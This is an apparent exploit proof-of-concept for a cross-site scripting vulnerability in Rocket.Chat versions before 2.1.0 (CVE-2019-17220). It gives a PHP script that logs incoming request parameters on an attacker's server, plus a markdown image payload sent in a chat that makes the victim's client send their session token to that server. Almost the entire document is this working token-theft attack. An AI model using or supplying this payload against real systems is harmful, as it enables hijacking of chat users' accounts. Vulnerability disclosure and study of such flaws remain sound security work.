Rocket.Chat 2.1.0 - Cross-Site Scripting

# Title: Rocket.Chat 2.1.0 - Cross-Site Scripting
# Author: 3H34N
# Date: 2019-10-22
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat < 2.1.0
# CVE: CVE-2019-17220
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)

# PoC
# 1. Create l33t.php on a web server

<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>

# 2. Open a chat session
# 3. Send payload with your web server url

![title](http://10.10.1.5/l33t.php?leet=+`{}token`)

# 4. Token will be written in logs.txt when target seen your message.